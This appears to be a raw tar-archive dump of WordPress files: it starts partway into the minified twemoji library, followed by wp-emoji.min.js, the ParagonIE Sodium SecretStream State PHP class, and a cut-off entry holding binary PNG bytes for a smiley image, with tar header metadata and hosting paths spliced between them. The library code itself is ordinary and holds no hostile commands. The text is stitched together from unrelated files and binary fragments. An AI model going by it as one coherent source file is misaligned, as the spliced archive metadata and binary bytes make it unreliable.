src="',b,'"'),u=a.attributes(d,e))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===c.indexOf(" "+f+"=")&&(c=c.concat(" ",f,'="',u[f].replace(t,r),'"'));c=c.concat("/>")}return c})}:function(d,u){var f,c,e,b,a,t,r,n,o,s,i,l=function d(u,f){var c,e,b=u.childNodes,a=b.length;for(;a--;)c=b[a],3===(e=c.nodeType)?f.push(c):1!==e||"ownerSVGElement"in c||m.test(c.nodeName.toLowerCase())||h.doNotParse&&h.doNotParse(c)||d(c,f);return f}(d,[]),p=l.length;for(;p--;){for(e=!1,b=document.createDocumentFragment(),a=l[p],t=a.nodeValue,r=0;o=g.exec(t);){if((i=o.index)!==r&&b.appendChild(x(t.slice(r,i),!0)),s=N(o=o[0]),r=i+o.length,i=u.callback(s,u),s&&i){for(c in(n=new Image).onerror=u.onerror,n.setAttribute("draggable","false"),f=u.attributes(o,s))f.hasOwnProperty(c)&&0!==c.indexOf("on")&&!n.hasAttribute(c)&&n.setAttribute(c,f[c]);n.className=u.className,n.alt=o,n.src=i,e=!0,b.appendChild(n)}n||b.appendChild(x(o,!1)),n=null}e&&(r<t.length&&b.appendChild(x(t.slice(r),!0)),a.parentNode.replaceChild(b,a))}return d})(d,{callback:u.callback||b,attributes:"function"==typeof u.attributes?u.attributes:a,base:("string"==typeof u.base?u:h).base,ext:u.ext||h.ext,size:u.folder||function(d){return"number"==typeof d?d+"x"+d:d}(u.size||h.size),className:u.className||h.className,onerror:u.onerror||h.onerror})},replace:n,test:function(d){g.lastIndex=0;d=g.test(d);return g.lastIndex=0,d}},u={"&":"&amp;","<":"&lt;",">":"&gt;","'":"&#39;",'"':"&quot;"},g=/(?:\ud83d\udc68\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffc-\udfff]|\ud83e\uddd1\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb\udffd-\udfff]|\ud83e\uddd1\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb\udffc\udffe\udfff]|\ud83e\uddd1\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb-\udffd\udfff]|\ud83e\uddd1\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb-\udffe]|\ud83d\udc68\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffc-\udfff]|\ud83d\udc68\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffd-\udfff]|\ud83d\udc68\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffc\udffe\udfff]|\ud83d\udc68\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffd\udfff]|\ud83d\udc68\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffe]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffc-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffc-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffd-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb\udffd-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffc\udffe\udfff]|\ud83d\udc69\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb\udffc\udffe\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffd\udfff]|\ud83d\udc69\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb-\udffd\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffe]|\ud83d\udc69\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb-\udffe]|\ud83e\uddd1\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffc-\udfff]|\ud83e\uddd1\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb\udffd-\udfff]|\ud83e\uddd1\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb\udffc\udffe\udfff]|\ud83e\uddd1\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb-\udffd\udfff]|\ud83e\uddd1\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb-\udffe]|\ud83e\uddd1\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68|\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d[\udc68\udc69]|\ud83e\udef1\ud83c\udffb\u200d\ud83e\udef2\ud83c[\udffc-\udfff]|\ud83e\udef1\ud83c\udffc\u200d\ud83e\udef2\ud83c[\udffb\udffd-\udfff]|\ud83e\udef1\ud83c\udffd\u200d\ud83e\udef2\ud83c[\udffb\udffc\udffe\udfff]|\ud83e\udef1\ud83c\udffe\u200d\ud83e\udef2\ud83c[\udffb-\udffd\udfff]|\ud83e\udef1\ud83c\udfff\u200d\ud83e\udef2\ud83c[\udffb-\udffe]|\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc68|\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d[\udc68\udc69]|\ud83e\uddd1\u200d\ud83e\udd1d\u200d\ud83e\uddd1|\ud83d\udc6b\ud83c[\udffb-\udfff]|\ud83d\udc6c\ud83c[\udffb-\udfff]|\ud83d\udc6d\ud83c[\udffb-\udfff]|\ud83d\udc8f\ud83c[\udffb-\udfff]|\ud83d\udc91\ud83c[\udffb-\udfff]|\ud83e\udd1d\ud83c[\udffb-\udfff]|\ud83d[\udc6b-\udc6d\udc8f\udc91]|\ud83e\udd1d)|(?:\ud83d[\udc68\udc69]|\ud83e\uddd1)(?:\ud83c[\udffb-\udfff])?\u200d(?:\u2695\ufe0f|\u2696\ufe0f|\u2708\ufe0f|\ud83c[\udf3e\udf73\udf7c\udf84\udf93\udfa4\udfa8\udfeb\udfed]|\ud83d[\udcbb\udcbc\udd27\udd2c\ude80\ude92]|\ud83e[\uddaf-\uddb3\uddbc\uddbd])(?:\u200d\u27a1\ufe0f)?|(?:\ud83c[\udfcb\udfcc]|\ud83d[\udd74\udd75]|\u26f9)((?:\ud83c[\udffb-\udfff]|\ufe0f)\u200d[\u2640\u2642]\ufe0f(?:\u200d\u27a1\ufe0f)?)|(?:\ud83c[\udfc3\udfc4\udfca]|\ud83d[\udc6e\udc70\udc71\udc73\udc77\udc81\udc82\udc86\udc87\ude45-\ude47\ude4b\ude4d\ude4e\udea3\udeb4-\udeb6]|\ud83e[\udd26\udd35\udd37-\udd39\udd3d\udd3e\uddb8\uddb9\uddcd-\uddcf\uddd4\uddd6-\udddd])(?:\ud83c[\udffb-\udfff])?\u200d[\u2640\u2642]\ufe0f(?:\u200d\u27a1\ufe0f)?|(?:\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83e\uddd1\u200d\ud83e\uddd1\u200d\ud83e\uddd2\u200d\ud83e\uddd2|\ud83d\udc68\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83e\uddd1\u200d\ud83e\uddd1\u200d\ud83e\uddd2|\ud83e\uddd1\u200d\ud83e\uddd2\u200d\ud83e\uddd2|\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f|\ud83c\udff3\ufe0f\u200d\ud83c\udf08|\ud83d\ude36\u200d\ud83c\udf2b\ufe0f|\u26d3\ufe0f\u200d\ud83d\udca5|\u2764\ufe0f\u200d\ud83d\udd25|\u2764\ufe0f\u200d\ud83e\ude79|\ud83c\udf44\u200d\ud83d\udfeb|\ud83c\udf4b\u200d\ud83d\udfe9|\ud83c\udff4\u200d\u2620\ufe0f|\ud83d\udc15\u200d\ud83e\uddba|\ud83d\udc26\u200d\ud83d\udd25|\ud83d\udc3b\u200d\u2744\ufe0f|\ud83d\udc41\u200d\ud83d\udde8|\ud83d\udc68\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83d\udc6f\u200d\u2640\ufe0f|\ud83d\udc6f\u200d\u2642\ufe0f|\ud83d\ude2e\u200d\ud83d\udca8|\ud83d\ude35\u200d\ud83d\udcab|\ud83d\ude42\u200d\u2194\ufe0f|\ud83d\ude42\u200d\u2195\ufe0f|\ud83e\udd3c\u200d\u2640\ufe0f|\ud83e\udd3c\u200d\u2642\ufe0f|\ud83e\uddd1\u200d\ud83e\uddd2|\ud83e\uddde\u200d\u2640\ufe0f|\ud83e\uddde\u200d\u2642\ufe0f|\ud83e\udddf\u200d\u2640\ufe0f|\ud83e\udddf\u200d\u2642\ufe0f|\ud83d\udc08\u200d\u2b1b|\ud83d\udc26\u200d\u2b1b)|[#*0-9]\ufe0f?\u20e3|(?:[\xa9\xae\u2122\u265f]\ufe0f)|(?:\ud83c[\udc04\udd70\udd71\udd7e\udd7f\ude02\ude1a\ude2f\ude37\udf21\udf24-\udf2c\udf36\udf7d\udf96\udf97\udf99-\udf9b\udf9e\udf9f\udfcd\udfce\udfd4-\udfdf\udff3\udff5\udff7]|\ud83d[\udc3f\udc41\udcfd\udd49\udd4a\udd6f\udd70\udd73\udd76-\udd79\udd87\udd8a-\udd8d\udda5\udda8\uddb1\uddb2\uddbc\uddc2-\uddc4\uddd1-\uddd3\udddc-\uddde\udde1\udde3\udde8\uddef\uddf3\uddfa\udecb\udecd-\udecf\udee0-\udee5\udee9\udef0\udef3]|[\u203c\u2049\u2139\u2194-\u2199\u21a9\u21aa\u231a\u231b\u2328\u23cf\u23ed-\u23ef\u23f1\u23f2\u23f8-\u23fa\u24c2\u25aa\u25ab\u25b6\u25c0\u25fb-\u25fe\u2600-\u2604\u260e\u2611\u2614\u2615\u2618\u2620\u2622\u2623\u2626\u262a\u262e\u262f\u2638-\u263a\u2640\u2642\u2648-\u2653\u2660\u2663\u2665\u2666\u2668\u267b\u267f\u2692-\u2697\u2699\u269b\u269c\u26a0\u26a1\u26a7\u26aa\u26ab\u26b0\u26b1\u26bd\u26be\u26c4\u26c5\u26c8\u26cf\u26d1\u26d3\u26d4\u26e9\u26ea\u26f0-\u26f5\u26f8\u26fa\u26fd\u2702\u2708\u2709\u270f\u2712\u2714\u2716\u271d\u2721\u2733\u2734\u2744\u2747\u2757\u2763\u2764\u27a1\u2934\u2935\u2b05-\u2b07\u2b1b\u2b1c\u2b50\u2b55\u3030\u303d\u3297\u3299])(?:\ufe0f|(?!\ufe0e))|(?:(?:\ud83c[\udfcb\udfcc]|\ud83d[\udd74\udd75\udd90]|\ud83e\udef0|[\u261d\u26f7\u26f9\u270c\u270d])(?:\ufe0f|(?!\ufe0e))|(?:\ud83c\udfc3|\ud83d\udeb6|\ud83e\uddce)(?:\ud83c[\udffb-\udfff])?(?:\u200d\u27a1\ufe0f)?|(?:\ud83c[\udf85\udfc2\udfc4\udfc7\udfca]|\ud83d[\udc42\udc43\udc46-\udc50\udc66-\udc69\udc6e\udc70-\udc78\udc7c\udc81-\udc83\udc85-\udc87\udcaa\udd7a\udd95\udd96\ude45-\ude47\ude4b-\ude4f\udea3\udeb4\udeb5\udec0\udecc]|\ud83e[\udd0c\udd0f\udd18-\udd1c\udd1e\udd1f\udd26\udd30-\udd39\udd3d\udd3e\udd77\uddb5\uddb6\uddb8\uddb9\uddbb\uddcd\uddcf\uddd1-\udddd\udec3-\udec5\udef1-\udef8]|[\u270a\u270b]))(?:\ud83c[\udffb-\udfff])?|(?:\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f|\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc73\udb40\udc63\udb40\udc74\udb40\udc7f|\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc77\udb40\udc6c\udb40\udc73\udb40\udc7f|\ud83c\udde6\ud83c[\udde8-\uddec\uddee\uddf1\uddf2\uddf4\uddf6-\uddfa\uddfc\uddfd\uddff]|\ud83c\udde7\ud83c[\udde6\udde7\udde9-\uddef\uddf1-\uddf4\uddf6-\uddf9\uddfb\uddfc\uddfe\uddff]|\ud83c\udde8\ud83c[\udde6\udde8\udde9\uddeb-\uddee\uddf0-\uddf7\uddfa-\uddff]|\ud83c\udde9\ud83c[\uddea\uddec\uddef\uddf0\uddf2\uddf4\uddff]|\ud83c\uddea\ud83c[\udde6\udde8\uddea\uddec\udded\uddf7-\uddfa]|\ud83c\uddeb\ud83c[\uddee-\uddf0\uddf2\uddf4\uddf7]|\ud83c\uddec\ud83c[\udde6\udde7\udde9-\uddee\uddf1-\uddf3\uddf5-\uddfa\uddfc\uddfe]|\ud83c\udded\ud83c[\uddf0\uddf2\uddf3\uddf7\uddf9\uddfa]|\ud83c\uddee\ud83c[\udde8-\uddea\uddf1-\uddf4\uddf6-\uddf9]|\ud83c\uddef\ud83c[\uddea\uddf2\uddf4\uddf5]|\ud83c\uddf0\ud83c[\uddea\uddec-\uddee\uddf2\uddf3\uddf5\uddf7\uddfc\uddfe\uddff]|\ud83c\uddf1\ud83c[\udde6-\udde8\uddee\uddf0\uddf7-\uddfb\uddfe]|\ud83c\uddf2\ud83c[\udde6\udde8-\udded\uddf0-\uddff]|\ud83c\uddf3\ud83c[\udde6\udde8\uddea-\uddec\uddee\uddf1\uddf4\uddf5\uddf7\uddfa\uddff]|\ud83c\uddf4\ud83c\uddf2|\ud83c\uddf5\ud83c[\udde6\uddea-\udded\uddf0-\uddf3\uddf7-\uddf9\uddfc\uddfe]|\ud83c\uddf6\ud83c\udde6|\ud83c\uddf7\ud83c[\uddea\uddf4\uddf8\uddfa\uddfc]|\ud83c\uddf8\ud83c[\udde6-\uddea\uddec-\uddf4\uddf7-\uddf9\uddfb\uddfd-\uddff]|\ud83c\uddf9\ud83c[\udde6\udde8\udde9\uddeb-\udded\uddef-\uddf4\uddf7\uddf9\uddfb\uddfc\uddff]|\ud83c\uddfa\ud83c[\udde6\uddec\uddf2\uddf3\uddf8\uddfe\uddff]|\ud83c\uddfb\ud83c[\udde6\udde8\uddea\uddec\uddee\uddf3\uddfa]|\ud83c\uddfc\ud83c[\uddeb\uddf8]|\ud83c\uddfd\ud83c\uddf0|\ud83c\uddfe\ud83c[\uddea\uddf9]|\ud83c\uddff\ud83c[\udde6\uddf2\uddfc]|\ud83c[\udccf\udd8e\udd91-\udd9a\udde6-\uddff\ude01\ude32-\ude36\ude38-\ude3a\ude50\ude51\udf00-\udf20\udf2d-\udf35\udf37-\udf7c\udf7e-\udf84\udf86-\udf93\udfa0-\udfc1\udfc5\udfc6\udfc8\udfc9\udfcf-\udfd3\udfe0-\udff0\udff4\udff8-\udfff]|\ud83d[\udc00-\udc3e\udc40\udc44\udc45\udc51-\udc65\udc6a\udc6f\udc79-\udc7b\udc7d-\udc80\udc84\udc88-\udc8e\udc90\udc92-\udca9\udcab-\udcfc\udcff-\udd3d\udd4b-\udd4e\udd50-\udd67\udda4\uddfb-\ude44\ude48-\ude4a\ude80-\udea2\udea4-\udeb3\udeb7-\udebf\udec1-\udec5\uded0-\uded2\uded5-\uded7\udedc-\udedf\udeeb\udeec\udef4-\udefc\udfe0-\udfeb\udff0]|\ud83e[\udd0d\udd0e\udd10-\udd17\udd20-\udd25\udd27-\udd2f\udd3a\udd3c\udd3f-\udd45\udd47-\udd76\udd78-\uddb4\uddb7\uddba\uddbc-\uddcc\uddd0\uddde-\uddff\ude70-\ude7c\ude80-\ude89\ude8f-\udec2\udec6\udece-\udedc\udedf-\udee9]|[\u23e9-\u23ec\u23f0\u23f3\u267e\u26ce\u2705\u2728\u274c\u274e\u2753-\u2755\u2795-\u2797\u27b0\u27bf\ue50a])|\ufe0f/g,f=/\uFE0F/g,c=String.fromCharCode(8205),t=/[&<>'"]/g,m=/^(?:iframe|noframes|noscript|script|select|style|textarea)$/,e=String.fromCharCode;return h;function x(d,u){return document.createTextNode(u?d.replace(f,""):d)}function b(d,u){return"".concat(u.base,u.size,"/",d,u.ext)}function N(d){return o(d.indexOf(c)<0?d.replace(f,""):d)}function r(d){return u[d]}function a(){return null}function n(d,u){return String(d).replace(g,u)}function o(d,u){for(var f=[],c=0,e=0,b=0;b<d.length;)c=d.charCodeAt(b++),e?(f.push((65536+(e-55296<<10)+(c-56320)).toString(16)),e=0):55296<=c&&c<=56319?e=c:f.push(c.toString(16));return f.join(u||"-")}}();
// Source: wp-includes/js/wp-emoji.min.js
!function(c,l){c.wp=c.wp||{},c.wp.emoji=new function(){var n,u,e=c.MutationObserver||c.WebKitMutationObserver||c.MozMutationObserver,a=c.document,t=!1,r=0,o=0<c.navigator.userAgent.indexOf("Trident/7.0");function i(){return!a.implementation.hasFeature||a.implementation.hasFeature("http://www.w3.org/TR/SVG11/feature#Image","1.1")}function s(){if(!t){if(void 0===c.twemoji)return 600<r?void 0:(c.clearTimeout(u),u=c.setTimeout(s,50),void r++);n=c.twemoji,t=!0,e&&new e(function(u){for(var e,t,n,a,r=u.length;r--;){if(e=u[r].addedNodes,t=u[r].removedNodes,1===(n=e.length)&&1===t.length&&3===e[0].nodeType&&"IMG"===t[0].nodeName&&e[0].data===t[0].alt&&"load-failed"===t[0].getAttribute("data-error"))return;for(;n--;){if(3===(a=e[n]).nodeType){if(!a.parentNode)continue;if(o)for(;a.nextSibling&&3===a.nextSibling.nodeType;)a.nodeValue=a.nodeValue+a.nextSibling.nodeValue,a.parentNode.removeChild(a.nextSibling);a=a.parentNode}d(a.textContent)&&f(a)}}}).observe(a.body,{childList:!0,subtree:!0}),f(a.body)}}function d(u){return!!u&&(/[\uDC00-\uDFFF]/.test(u)||/[\u203C\u2049\u20E3\u2122\u2139\u2194-\u2199\u21A9\u21AA\u2300\u231A\u231B\u2328\u2388\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A\u262E\u262F\u2638\u2639\u263A\u2648-\u2653\u2660\u2663\u2665\u2666\u2668\u267B\u267F\u2692\u2693\u2694\u2696\u2697\u2699\u269B\u269C\u26A0\u26A1\u26AA\u26AB\u26B0\u26B1\u26BD\u26BE\u26C4\u26C5\u26C8\u26CE\u26CF\u26D1\u26D3\u26D4\u26E9\u26EA\u26F0-\u26F5\u26F7-\u26FA\u26FD\u2702\u2705\u2708-\u270D\u270F\u2712\u2714\u2716\u271D\u2721\u2728\u2733\u2734\u2744\u2747\u274C\u274E\u2753\u2754\u2755\u2757\u2763\u2764\u2795\u2796\u2797\u27A1\u27B0\u27BF\u2934\u2935\u2B05\u2B06\u2B07\u2B1B\u2B1C\u2B50\u2B55\u3030\u303D\u3297\u3299]/.test(u))}function f(u,e){var t;return!l.supports.everything&&n&&u&&("string"==typeof u||u.childNodes&&u.childNodes.length)?(e=e||{},t={base:i()?l.svgUrl:l.baseUrl,ext:i()?l.svgExt:l.ext,className:e.className||"emoji",callback:function(u,e){switch(u){case"a9":case"ae":case"2122":case"2194":case"2660":case"2663":case"2665":case"2666":return!1}return!(l.supports.everythingExceptFlag&&!/^1f1(?:e[6-9a-f]|f[0-9a-f])-1f1(?:e[6-9a-f]|f[0-9a-f])$/.test(u)&&!/^(1f3f3-fe0f-200d-1f308|1f3f4-200d-2620-fe0f)$/.test(u))&&"".concat(e.base,u,e.ext)},attributes:function(){return{role:"img"}},onerror:function(){n.parentNode&&(this.setAttribute("data-error","load-failed"),n.parentNode.replaceChild(a.createTextNode(n.alt),n))},doNotParse:function(u){return!(!u||!u.className||"string"!=typeof u.className||-1===u.className.indexOf("wp-exclude-emoji"))}},"object"==typeof e.imgAttr&&(t.attributes=function(){return e.imgAttr}),n.parse(u,t)):u}return l&&(l.DOMReady?s():l.readyCallback=s),{parse:f,test:d}}}(window,window._wpemojiSettings);14338/SecretStream.tar000064400000013000151024420100010316 0ustar00State.php000064400000007050151024400300006324 0ustar00<?php

/**
 * Class ParagonIE_Sodium_Core_SecretStream_State
 */
class ParagonIE_Sodium_Core_SecretStream_State
{
    /** @var string $key */
    protected $key;

    /** @var int $counter */
    protected $counter;

    /** @var string $nonce */
    protected $nonce;

    /** @var string $_pad */
    protected $_pad;

    /**
     * ParagonIE_Sodium_Core_SecretStream_State constructor.
     * @param string $key
     * @param string|null $nonce
     */
    public function __construct($key, $nonce = null)
    {
        $this->key = $key;
        $this->counter = 1;
        if (is_null($nonce)) {
            $nonce = str_repeat("\0", 12);
        }
        $this->nonce = str_pad($nonce, 12, "\0", STR_PAD_RIGHT);;
        $this->_pad = str_repeat("\0", 4);
    }

    /**
     * @return self
     */
    public function counterReset()
    {
        $this->counter = 1;
        $this->_pad = str_repeat("\0", 4);
        return $this;
    }

    /**
     * @return string
     */
    public function getKey()
    {
        return $this->key;
    }

    /**
     * @return string
     */
    public function getCounter()
    {
        return ParagonIE_Sodium_Core_Util::store32_le($this->counter);
    }

    /**
     * @return string
     */
    public function getNonce()
    {
        if (!is_string($this->nonce)) {
            $this->nonce = str_repeat("\0", 12);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($this->nonce) !== 12) {
            $this->nonce = str_pad($this->nonce, 12, "\0", STR_PAD_RIGHT);
        }
        return $this->nonce;
    }

    /**
     * @return string
     */
    public function getCombinedNonce()
    {
        return $this->getCounter() .
            ParagonIE_Sodium_Core_Util::substr($this->getNonce(), 0, 8);
    }

    /**
     * @return self
     */
    public function incrementCounter()
    {
        ++$this->counter;
        return $this;
    }

    /**
     * @return bool
     */
    public function needsRekey()
    {
        return ($this->counter & 0xffff) === 0;
    }

    /**
     * @param string $newKeyAndNonce
     * @return self
     */
    public function rekey($newKeyAndNonce)
    {
        $this->key = ParagonIE_Sodium_Core_Util::substr($newKeyAndNonce, 0, 32);
        $this->nonce = str_pad(
            ParagonIE_Sodium_Core_Util::substr($newKeyAndNonce, 32),
            12,
            "\0",
            STR_PAD_RIGHT
        );
        return $this;
    }

    /**
     * @param string $str
     * @return self
     */
    public function xorNonce($str)
    {
        $this->nonce = ParagonIE_Sodium_Core_Util::xorStrings(
            $this->getNonce(),
            str_pad(
                ParagonIE_Sodium_Core_Util::substr($str, 0, 8),
                12,
                "\0",
                STR_PAD_RIGHT
            )
        );
        return $this;
    }

    /**
     * @param string $string
     * @return self
     */
    public static function fromString($string)
    {
        $state = new ParagonIE_Sodium_Core_SecretStream_State(
            ParagonIE_Sodium_Core_Util::substr($string, 0, 32)
        );
        $state->counter = ParagonIE_Sodium_Core_Util::load_4(
            ParagonIE_Sodium_Core_Util::substr($string, 32, 4)
        );
        $state->nonce = ParagonIE_Sodium_Core_Util::substr($string, 36, 12);
        $state->_pad = ParagonIE_Sodium_Core_Util::substr($string, 48, 8);
        return $state;
    }

    /**
     * @return string
     */
    public function toString()
    {
        return $this->key .
            $this->getCounter() .
            $this->nonce .
            $this->_pad;
    }
}
14338/frownie.png.tar000064400000005000151024420100010152 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/images/smilies/frownie.png000064400000001757151024313000026444 0ustar00�PNG


